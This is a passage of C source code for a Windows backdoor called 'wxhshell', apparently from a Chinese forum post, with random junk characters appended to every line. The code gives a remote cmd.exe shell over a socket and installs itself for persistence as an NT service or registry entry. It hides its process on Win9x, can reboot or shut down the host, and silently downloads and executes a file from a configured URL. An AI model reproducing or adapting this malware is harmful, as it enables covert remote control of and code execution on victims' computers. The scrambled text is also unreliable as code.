  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w 3$9  
  } Y%Tm `$^V  
  else { DTz)qHd#X  
i^}ib RQbN  
    switch(cmd[0]) { "Zu>cbE  
  Ug8>|wCE  
  // 帮助 <Y+>a#T  
  case '?': { x bD]EC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g]jCR*]  
    break; g<^-[w4/  
  } ->`R[k  
  // 安装 ];*? `}#  
  case 'i': { W4$F\y  
    if(Install()) %6E:SI 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U?A3>  
    else HiSNEp$-4$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .05x=28n%  
    break; <b_?[%(u  
    } lt& c/xi_  
  // 卸载 `2,F!kCt  
  case 'r': { ,L-G-V+  
    if(Uninstall()) GU7f27p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ca,U>'(y  
    else S3gd'Bahq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _bSn YhS  
    break; nHl{'|~  
    } |[X-i["y  
  // 显示 wxhshell 所在路径 xP $\ }  
  case 'p': { %H3 M0J2L  
    char svExeFile[MAX_PATH]; 7.bPPr&  
    strcpy(svExeFile,"\n\r"); [WO>}rGw4  
      strcat(svExeFile,ExeFile); ')>D*e  
        send(wsh,svExeFile,strlen(svExeFile),0); _zDf8hy  
    break; Xk}\-&C7  
    } Ny G?^  
  // 重启 #]z_pp:  
  case 'b': { \CrWKBL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =`.OKUAn  
    if(Boot(REBOOT)) wW|[Im&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZiC~8p_f  
    else { 2<tU  
    closesocket(wsh); cBQ+`DXn5c  
    ExitThread(0); w3jcit|  
    } XPT@ LM  
    break; q z8Jvgu?  
    } W~Q;R:y  
  // 关机 oa6&?4K?F  
  case 'd': { y=LN| vkQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B~2M/&rM\  
    if(Boot(SHUTDOWN)) f7I!o, /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;iCe7|Twf  
    else { s=hao4v7z  
    closesocket(wsh); qqSFy>`P  
    ExitThread(0); OPC8fX5.  
    } xM**n3SZ`  
    break; :5_394v  
    } 'M,O(utGv  
  // 获取shell F&a)mpFv3c  
  case 's': { /ommM  
    CmdShell(wsh); [}`-KpV!;  
    closesocket(wsh); Dr5AJ`y9A  
    ExitThread(0); >\[|c  
    break; G#j~8`3X  
  } 'mk_s4J  
  // 退出 $y,tR.5.)[  
  case 'x': { Zw_'u=r >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a([8r- zP  
    CloseIt(wsh); U\i7'9w]3  
    break; 70.Tm#qh  
    } Ch73=V  
  // 离开 g9gi7.'0  
  case 'q': { r*{`_G=1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9*2^2GR^;  
    closesocket(wsh); @k)[p+)E  
    WSACleanup(); YR u#JYti  
    exit(1); ,$Xhwr  
    break; uLSuY}K0  
        } Y=Om0=v  
  } 96i #  
  } :*MR$Jf  
>1hhz  
  // 提示信息 Wv]ODEd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5IfC8drAs  
} G rI<w.9X  
  } wicW9^ik  
dZCnQIS  
  return; v (=E R%  
} LvNulMEK  
75;g|+  
// shell模块句柄 Nf%/)Tk  
int CmdShell(SOCKET sock) Xo3@-D_c!c  
{ z@v2t>@3k  
STARTUPINFO si;  VM<$!Aaz  
ZeroMemory(&si,sizeof(si)); qO[_8's8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u,./,:O%=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #@J{ )  
PROCESS_INFORMATION ProcessInfo; $'3'[Nr(;t  
char cmdline[]="cmd"; v(p<88.!m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3L9@ELY4  
  return 0; /6:qmh2  
} :D~J(Y2  
@.L/HXu-P  
// 自身启动模式 UmG|_7  
int StartFromService(void) BbhC 0q"J  
{ .yB{+  
typedef struct RcOfesW o  
{ #U.6HBuQa  
  DWORD ExitStatus; S=G2%u!;  
  DWORD PebBaseAddress; 1v 4M*  
  DWORD AffinityMask; f /t`B^}@  
  DWORD BasePriority; )j. .)o  
  ULONG UniqueProcessId; \|CuTb;0  
  ULONG InheritedFromUniqueProcessId; Mk}*ze0%  
}   PROCESS_BASIC_INFORMATION; +asO4'r  
TT={>R[B  
PROCNTQSIP NtQueryInformationProcess; hG >kx8h  
3 J5lz~6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1} ~`g ED  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m]Mm (7v(  
"-S@R=bi  
  HANDLE             hProcess; >65\  
  PROCESS_BASIC_INFORMATION pbi; p3 V?n[/}  
1 0^FfwRfM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (U@$gkUx}G  
  if(NULL == hInst ) return 0; 4+MaV<!tU^  
M2I*_pI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 Scc"9]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); slaH2}$xR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -6$GM J7  
W&v|-#7=6  
  if (!NtQueryInformationProcess) return 0; 5YYBX\MV  
`%*`rtZ+H.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a|z@5r%  
  if(!hProcess) return 0; 9-!GYa'Z  
ZE9.r`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yB|1?L#  
85lcd4&~  
  CloseHandle(hProcess); F>eo.|'  
gv1y%(`|n(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FM7`q7d  
if(hProcess==NULL) return 0; /!fJ`pu!  
zbjV>5  
HMODULE hMod; nH B  
char procName[255]; ?}#Iu-IA  
unsigned long cbNeeded; g}pD%  
%e:[[yq)G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0~ o,^AW  
@@cc /S  
  CloseHandle(hProcess); 7&u$^c S(  
WEtPIHruyt  
if(strstr(procName,"services")) return 1; // 以服务启动 Nh\o39=  
f{2I2kJr  
  return 0; // 注册表启动 J?Oeuk~[D  
} qG +PqK;  
J~C=o(r  
// 主模块 U$ ;UW3-  
int StartWxhshell(LPSTR lpCmdLine) -b|"%e<'  
{ V[n,fEPBr  
  SOCKET wsl; ja6V*CWb  
BOOL val=TRUE; ;SX~u*`R  
  int port=0; !+]KxB   
  struct sockaddr_in door; eJeL{`NS  
MG~bDM4  
  if(wscfg.ws_autoins) Install(); rQosI:$  
1iqgVby  
port=atoi(lpCmdLine); ]CPF7Hf  
Ss_}@p ^  
if(port<=0) port=wscfg.ws_port; (T%Ue2zlY  
k5Su&e4]]  
  WSADATA data; s6'=4gM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /f drf  
zO@>)@~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jt0U`_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o#=C[d5BV  
  door.sin_family = AF_INET; g>l+oH[Tv|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P#D|CP/Cu  
  door.sin_port = htons(port); v7\rW{~Jd&  
wD4[UU?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2$v8{Y&  
closesocket(wsl); EWr7eH  
return 1;  0T^ 0)c  
} )?pnV":2Y  
UmY{2 nzY  
  if(listen(wsl,2) == INVALID_SOCKET) { Ks<+@.DLTu  
closesocket(wsl); E^$8nqCL:  
return 1; * eX/Z Cn  
} M&)\PbMc  
  Wxhshell(wsl); D$@2H>.-  
  WSACleanup(); D c;k)z=  
.(3ec/i4CF  
return 0; 4c[/%e:\-  
Y6Ux*vhK  
} Cy)N hgz  
i<):%[Q)>  
// 以NT服务方式启动 "YW Z&_n**  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tzv4uD]  
{ _GrifGU\  
DWORD   status = 0; :wG )  
  DWORD   specificError = 0xfffffff; kdp^{zW}  
#Ge_3^'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i,S1|R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OzwJ 52  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \j5`6}zm  
  serviceStatus.dwWin32ExitCode     = 0; -m@PqJF^  
  serviceStatus.dwServiceSpecificExitCode = 0; H:XPl$;  
  serviceStatus.dwCheckPoint       = 0; [YZgQ  
  serviceStatus.dwWaitHint       = 0; !0vLSF=  
b`@C#qB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &FuL {YL  
  if (hServiceStatusHandle==0) return; b%vIaP|]B  
Sc/$ 2gSG  
status = GetLastError(); <XQwu*_\  
  if (status!=NO_ERROR) (m6V)y  
{ `( w"{8laB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ Yc"{d3S  
    serviceStatus.dwCheckPoint       = 0; 3z u6#3^  
    serviceStatus.dwWaitHint       = 0; *ra>Kl0   
    serviceStatus.dwWin32ExitCode     = status; vbd)L$$20+  
    serviceStatus.dwServiceSpecificExitCode = specificError; /'5d0' ,M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); maN2(1hz  
    return; szb@2fK  
  } U|VL+9#hd  
JgA{1@h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R PoBF~>  
  serviceStatus.dwCheckPoint       = 0; j>B*8*Ss  
  serviceStatus.dwWaitHint       = 0; 0{vH.b @  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AI Kz]J0;  
} ([}08OW@  
9[;da  
// 处理NT服务事件,比如:启动、停止 }WaZ+Mdg\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "qd|!:bE  
{ gPb.%^p  
switch(fdwControl) >3@3~F%xAX  
{ i q oXku  
case SERVICE_CONTROL_STOP: bX,#z,  
  serviceStatus.dwWin32ExitCode = 0; (CY D]n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C=]<R< Xy  
  serviceStatus.dwCheckPoint   = 0; _> x}MW+  
  serviceStatus.dwWaitHint     = 0;  mC$y*G  
  { DBL@Mp[<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d9BFeq8  
  } o-7{\%+M  
  return; yNow hh  
case SERVICE_CONTROL_PAUSE: goA=U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; elQjPvb  
  break; Z\xnPhV  
case SERVICE_CONTROL_CONTINUE: *OznZIn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BAY e:0  
  break; 0 !{X8>x  
case SERVICE_CONTROL_INTERROGATE: ydo9 P5E  
  break; rq4g~e!S  
}; _#NibW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iC/*d  
} bxtH`^  
{sGEopd8]q  
// 标准应用程序主函数 ..X_nF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Dx3*ZhP  
{ Yj/ o17  
6]~/`6Dub  
// 获取操作系统版本 \Ta5c31S+  
OsIsNt=GetOsVer(); PJ0~ymE1~G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]%HxzJ  
FHw%ynC  
  // 从命令行安装 Mms|jF oQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); T3@2e0u )  
>Zs!  
  // 下载执行文件 ;Vs2 e  
if(wscfg.ws_downexe) { pu]U_Ll@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wbrOL(q.m  
  WinExec(wscfg.ws_filenam,SW_HIDE); hxH6Ii]\  
} $q z{L~ <  
iD G&Muc  
if(!OsIsNt) { 't&1y6Uu  
// 如果时win9x,隐藏进程并且设置为注册表启动 7@%qm|i>w  
HideProc(); boGdZ2$h4  
StartWxhshell(lpCmdLine); |1(x2x%}D^  
} 'ia-h7QWS  
else {?0'(D7.  
  if(StartFromService()) %UrNPk  
  // 以服务方式启动 I`X!M!dB)  
  StartServiceCtrlDispatcher(DispatchTable); [`b,SX x  
else ]tN)HRk1  
  // 普通方式启动 nPdkvs   
  StartWxhshell(lpCmdLine); i.uyfV&F  
q i yK  
return 0; O>qlWPht  
}
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只看该作者 1 发表于: 2006-10-10
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